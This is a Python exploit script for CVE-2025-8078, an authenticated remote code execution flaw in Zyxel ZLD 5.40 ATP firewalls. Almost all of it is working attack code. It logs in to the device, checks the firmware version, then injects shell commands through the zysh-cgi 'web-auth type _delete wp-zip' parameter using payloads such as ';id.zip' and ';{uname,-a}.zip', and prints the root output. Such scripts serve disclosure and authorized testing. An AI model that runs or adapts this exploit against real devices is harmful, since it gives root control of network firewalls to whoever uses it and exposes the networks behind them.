# Date: 2025-07-22 # Exploit Title: ZYXEL ZLD 5.40 Authenticated Remote Code Execution via HTTPS # Exploit Author: Alessandro Sgreccia (@rainpwn) # Author Homepage: https://rainpwn.blog/ # Vendor Homepage: https://www.zyxel.com/ # Tested Version: ATP 5.39/5.40 (ABPS.0, ABTJ.0, ABFU.0) # Tested on: ATP 100, ATP 500, ATP 700 # CVE: CVE-2025-8078 # # Example: # 1. Launch this script to execute Remote Command Execution. # > python3 main.py import requests import sys import colorama import re import json from colorama import Fore from requests import Session from urllib3.exceptions import InsecureRequestWarning # Suppress the warnings from urllib3 requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) GREEN=f"{Fore.GREEN}" RESET=f"{Fore.RESET}" RED=f"{Fore.RED}" YELLOW=f"{Fore.YELLOW}" def extract_version(version_str): match = re.search(r"\d+\.\d+", version_str) return float(match.group()) if match else None def web_execute_commands(host, port, username, password): # Commands to execute commands = [ "show version", "web-auth type _delete wp-zip ;id.zip", "web-auth type _delete wp-zip ;{uname,-a}.zip" ] try: headers = { "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8", "Origin":f"https://{host}:{port}", "Referer":f"https://{host}:{port}/ext-js/index.html" } # Setup Session s = Session() login = s.get(f"https://{host}:{port}/weblogin.cgi?username={username}&password={password}", headers=headers, allow_redirects=True, verify=False) for cmd in commands: if "show version" in cmd: print("[>] Checking version..", end='', flush=True) data = s.post(f"https://{host}:{port}/cgi-bin/zysh-cgi", headers=headers, data=f"filter=js2&cmd={cmd.replace(' ', '%20')}&write=0", verify=False).text match = re.search(r"var zyshdata0=(\[.*?\]);", data, re.DOTALL) if match: js_array = match.group(1) json_data = js_array.replace("'", '"') parsed = json.loads(json_data) running = next((entry for entry in parsed if entry["_boot_status"] == "Running"), None) version = extract_version(running['_firmware_version']) if running: if version is not None and version <= 5.40: print(f"{GREEN}{running['_firmware_version']}{RESET}") else: print(f"{RED}Device is not vulnerable.{RESET}") exit() if ";id.zip" in cmd: print("[>] Dropping RCE..", end='', flush=True) data = s.post(f"https://{host}:{port}/cgi-bin/zysh-cgi", headers=headers, data=f"filter=js2&cmd={cmd.replace(' ', '%20')};&write=0", verify=False).text if "root" in data: print(f"{GREEN}BOOM{RESET}") print("\n" + data.strip()) else: print("KO") print("Error executing command.") exit() if ";{uname" in cmd: data = s.post(f"https://{host}:{port}/cgi-bin/zysh-cgi", headers=headers, data=f"filter=js2&cmd={cmd.replace(' ', '%20')};&write=0", verify=False).text if "GNU/Linux" in data: print(data.strip() + "\n") else: print(f"{RED}Error executing command.{RESET}") exit() print(f"[{GREEN}+{RESET}] root dance \\o/") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} ") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] password = sys.argv[4] web_execute_commands(host, port, username, password)